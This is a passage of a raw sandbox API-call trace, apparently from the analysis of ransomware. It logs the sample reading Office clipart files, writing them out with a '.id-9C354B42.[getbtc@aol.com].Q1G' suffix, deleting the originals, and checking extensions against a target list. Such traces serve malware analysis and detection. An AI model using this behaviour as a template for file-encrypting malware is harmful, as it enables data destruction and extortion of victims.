| out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x3586, lpOverlapped=0x0) returned 1 [0265.752] WriteFile (in: hFile=0x39c, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x3590, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x3590, lpOverlapped=0x0) returned 1 [0265.753] ReadFile (in: hFile=0x3e0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.753] WriteFile (in: hFile=0x39c, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.753] SetEndOfFile (hFile=0x39c) returned 1 [0265.753] CloseHandle (hObject=0x39c) returned 1 [0265.753] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.753] SetEndOfFile (hFile=0x3e0) returned 1 [0265.755] CloseHandle (hObject=0x3e0) returned 1 [0265.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.755] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf")) returned 1 [0265.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF") returned 63 [0265.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF") returned 63 [0265.756] lstrlenW (lpString=".doc") returned 4 [0265.756] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.756] lstrlenW (lpString=".docx") returned 5 [0265.756] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0265.756] lstrlenW (lpString=".pdf") returned 4 [0265.756] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.756] lstrlenW (lpString=".xls") returned 4 [0265.756] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.756] lstrlenW (lpString=".xlsx") returned 5 [0265.756] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0265.756] lstrlenW (lpString=".ppt") returned 4 [0265.756] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF") returned 63 [0265.756] lstrlenW (lpString=".zip") returned 4 [0265.756] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.756] lstrlenW (lpString=".rar") returned 4 [0265.756] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.756] lstrlenW (lpString=".bz2") returned 4 [0265.756] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.756] lstrlenW (lpString=".7z") returned 3 [0265.756] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF") returned 63 [0265.756] lstrlenW (lpString=".dbf") returned 4 [0265.756] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF") returned 63 [0265.757] lstrlenW (lpString=".1cd") returned 4 [0265.757] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF") returned 63 [0265.757] lstrlenW (lpString=".jpg") returned 4 [0265.757] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF") returned 63 [0265.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF") returned 63 [0265.757] lstrlenW (lpString=".doc") returned 4 [0265.757] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.757] lstrlenW (lpString=".docx") returned 5 [0265.757] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0265.757] lstrlenW (lpString=".pdf") returned 4 [0265.757] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.757] lstrlenW (lpString=".xls") returned 4 [0265.757] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.757] lstrlenW (lpString=".xlsx") returned 5 [0265.757] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0265.757] lstrlenW (lpString=".ppt") returned 4 [0265.757] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF") returned 63 [0265.757] lstrlenW (lpString=".zip") returned 4 [0265.757] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.757] lstrlenW (lpString=".rar") returned 4 [0265.757] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.757] lstrlenW (lpString=".bz2") returned 4 [0265.757] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.757] lstrlenW (lpString=".7z") returned 3 [0265.757] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF") returned 63 [0265.757] lstrlenW (lpString=".dbf") returned 4 [0265.757] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF") returned 63 [0265.757] lstrlenW (lpString=".1cd") returned 4 [0265.757] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF") returned 63 [0265.758] lstrlenW (lpString=".jpg") returned 4 [0265.758] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.758] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.758] lstrlenW (lpString="J0196358.WMF") returned 12 [0265.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0265.759] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=6912) returned 1 [0265.759] CloseHandle (hObject=0x3e0) returned 1 [0265.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf")) returned 0x20 [0265.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0265.760] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.760] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0265.761] GetLastError () returned 0x0 [0265.761] ReadFile (in: hFile=0x3e0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x1b00, lpOverlapped=0x0) returned 1 [0265.819] WriteFile (in: hFile=0x39c, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x1b10, lpOverlapped=0x0) returned 1 [0265.820] ReadFile (in: hFile=0x3e0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.820] WriteFile (in: hFile=0x39c, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.820] SetEndOfFile (hFile=0x39c) returned 1 [0265.820] CloseHandle (hObject=0x39c) returned 1 [0265.820] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.820] SetEndOfFile (hFile=0x3e0) returned 1 [0265.828] CloseHandle (hObject=0x3e0) returned 1 [0265.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.874] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf")) returned 1 [0265.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF") returned 63 [0265.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF") returned 63 [0265.874] lstrlenW (lpString=".doc") returned 4 [0265.874] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.874] lstrlenW (lpString=".docx") returned 5 [0265.874] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0265.874] lstrlenW (lpString=".pdf") returned 4 [0265.874] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.874] lstrlenW (lpString=".xls") returned 4 [0265.874] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.875] lstrlenW (lpString=".xlsx") returned 5 [0265.875] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0265.875] lstrlenW (lpString=".ppt") returned 4 [0265.875] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF") returned 63 [0265.875] lstrlenW (lpString=".zip") returned 4 [0265.875] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.875] lstrlenW (lpString=".rar") returned 4 [0265.875] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.875] lstrlenW (lpString=".bz2") returned 4 [0265.875] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.875] lstrlenW (lpString=".7z") returned 3 [0265.875] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF") returned 63 [0265.875] lstrlenW (lpString=".dbf") returned 4 [0265.875] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF") returned 63 [0265.875] lstrlenW (lpString=".1cd") returned 4 [0265.875] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF") returned 63 [0265.875] lstrlenW (lpString=".jpg") returned 4 [0265.875] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF") returned 63 [0265.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF") returned 63 [0265.875] lstrlenW (lpString=".doc") returned 4 [0265.875] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.875] lstrlenW (lpString=".docx") returned 5 [0265.875] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0265.875] lstrlenW (lpString=".pdf") returned 4 [0265.875] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.875] lstrlenW (lpString=".xls") returned 4 [0265.875] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.875] lstrlenW (lpString=".xlsx") returned 5 [0265.875] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0265.875] lstrlenW (lpString=".ppt") returned 4 [0265.875] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF") returned 63 [0265.876] lstrlenW (lpString=".zip") returned 4 [0265.876] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.876] lstrlenW (lpString=".rar") returned 4 [0265.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.876] lstrlenW (lpString=".bz2") returned 4 [0265.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.876] lstrlenW (lpString=".7z") returned 3 [0265.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF") returned 63 [0265.876] lstrlenW (lpString=".dbf") returned 4 [0265.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF") returned 63 [0265.876] lstrlenW (lpString=".1cd") returned 4 [0265.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF") returned 63 [0265.876] lstrlenW (lpString=".jpg") returned 4 [0265.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.876] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.876] lstrlenW (lpString="J0198021.WMF") returned 12 [0265.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0265.925] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=34912) returned 1 [0265.925] CloseHandle (hObject=0x1b8) returned 1 [0265.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf")) returned 0x20 [0265.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0265.946] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.946] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0265.947] GetLastError () returned 0x0 [0265.947] ReadFile (in: hFile=0x1b8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x8860, lpOverlapped=0x0) returned 1 [0265.956] WriteFile (in: hFile=0x3a8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x8870, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x8870, lpOverlapped=0x0) returned 1 [0265.957] ReadFile (in: hFile=0x1b8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.957] WriteFile (in: hFile=0x3a8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.957] SetEndOfFile (hFile=0x3a8) returned 1 [0265.957] CloseHandle (hObject=0x3a8) returned 1 [0265.957] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.957] SetEndOfFile (hFile=0x1b8) returned 1 [0265.960] CloseHandle (hObject=0x1b8) returned 1 [0265.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.961] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf")) returned 1 [0265.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF") returned 63 [0265.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF") returned 63 [0265.961] lstrlenW (lpString=".doc") returned 4 [0265.962] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.962] lstrlenW (lpString=".docx") returned 5 [0265.962] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0265.962] lstrlenW (lpString=".pdf") returned 4 [0265.962] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.962] lstrlenW (lpString=".xls") returned 4 [0265.962] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.962] lstrlenW (lpString=".xlsx") returned 5 [0265.962] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0265.962] lstrlenW (lpString=".ppt") returned 4 [0265.962] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF") returned 63 [0265.962] lstrlenW (lpString=".zip") returned 4 [0265.962] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.962] lstrlenW (lpString=".rar") returned 4 [0265.962] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.962] lstrlenW (lpString=".bz2") returned 4 [0265.962] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.962] lstrlenW (lpString=".7z") returned 3 [0265.962] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF") returned 63 [0265.962] lstrlenW (lpString=".dbf") returned 4 [0265.962] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF") returned 63 [0265.962] lstrlenW (lpString=".1cd") returned 4 [0265.962] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF") returned 63 [0265.962] lstrlenW (lpString=".jpg") returned 4 [0265.962] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF") returned 63 [0265.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF") returned 63 [0265.962] lstrlenW (lpString=".doc") returned 4 [0265.962] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.962] lstrlenW (lpString=".docx") returned 5 [0265.962] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0265.962] lstrlenW (lpString=".pdf") returned 4 [0265.963] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.963] lstrlenW (lpString=".xls") returned 4 [0265.963] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.963] lstrlenW (lpString=".xlsx") returned 5 [0265.963] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0265.963] lstrlenW (lpString=".ppt") returned 4 [0265.963] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF") returned 63 [0265.963] lstrlenW (lpString=".zip") returned 4 [0265.963] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.963] lstrlenW (lpString=".rar") returned 4 [0265.963] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.963] lstrlenW (lpString=".bz2") returned 4 [0265.963] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.963] lstrlenW (lpString=".7z") returned 3 [0265.963] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF") returned 63 [0265.963] lstrlenW (lpString=".dbf") returned 4 [0265.963] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF") returned 63 [0265.963] lstrlenW (lpString=".1cd") returned 4 [0265.963] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF") returned 63 [0265.963] lstrlenW (lpString=".jpg") returned 4 [0265.963] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.963] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.963] lstrlenW (lpString="J0198226.WMF") returned 12 [0265.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0265.964] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=41906) returned 1 [0265.964] CloseHandle (hObject=0x1b8) returned 1 [0265.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf")) returned 0x20 [0265.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0265.964] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.965] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0265.965] GetLastError () returned 0x0 [0265.965] ReadFile (in: hFile=0x1b8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0xa3b2, lpOverlapped=0x0) returned 1 [0265.975] WriteFile (in: hFile=0x3a8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xa3c0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xa3c0, lpOverlapped=0x0) returned 1 [0265.976] ReadFile (in: hFile=0x1b8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.976] WriteFile (in: hFile=0x3a8, lpBuffer=0x37e0020*, 